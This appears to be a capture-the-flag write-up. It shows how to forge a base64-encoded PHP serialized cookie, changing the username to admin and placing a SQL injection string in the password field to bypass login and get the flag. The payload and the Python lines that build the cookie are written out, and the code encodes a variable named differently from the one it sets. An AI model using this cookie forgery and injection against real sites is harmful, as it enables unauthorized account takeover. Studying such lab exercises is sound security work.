Tried to login as guest:guest, it redirect to /index.php?file=regular_user. checkout application cookies, the value of user_info looks suspicious. it is a url-encoded base64 string.
After decoding, we got a object description
O:11:"permissions":2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
O => Object
s => string attribute
Number indicates the length of the following value.
If we change guest to admin, then we can visit as admin. we need SQL injection to bypass the password.
pw = "password' or '1'='1"
user_info = 'O:11:"permissions":2:{s:8:"username";s:5:"admin";s:8:"password";s:'+str(len(pw))+':"'+pw+'";}'
cookie = base64.b64encode(s.encode())
Replace the value of user_info with the updated one, try to visit admin page /index.php?file=admin, now we have the flag.